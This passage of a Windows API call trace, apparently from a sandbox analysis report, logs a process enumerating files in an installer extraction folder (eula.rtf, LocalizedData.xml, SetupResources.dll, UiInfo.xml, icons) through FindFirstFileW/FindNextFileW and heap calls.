	[0070.630] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.630] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.630] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.630] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0070.630] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.630] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0070.630] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.630] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121610
	[0070.630] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.630] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.630] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.631] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.631] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.631] FindClose (in: hFindFile=0x3121610 | out: hFindFile=0x3121610) returned 1
	[0070.631] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.631] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0070.631] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.631] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121810
	[0070.631] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.632] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.632] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.632] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.632] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.632] FindClose (in: hFindFile=0x3121810 | out: hFindFile=0x3121810) returned 1
	[0070.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.633] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0070.633] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.633] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121710
	[0070.633] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.633] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.633] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.633] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.634] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.634] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0070.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.635] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0070.635] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.635] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121410
	[0070.635] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.635] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.635] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.635] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0070.635] FindClose (in: hFindFile=0x3121410 | out: hFindFile=0x3121410) returned 1
	[0070.635] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.635] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0070.636] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0070.636] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0070.636] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.636] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121610
	[0070.636] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.636] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.636] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.637] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0070.637] FindClose (in: hFindFile=0x3121610 | out: hFindFile=0x3121610) returned 1
	[0070.637] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.637] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0070.637] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.637] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121410
	[0070.867] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.867] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0070.867] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
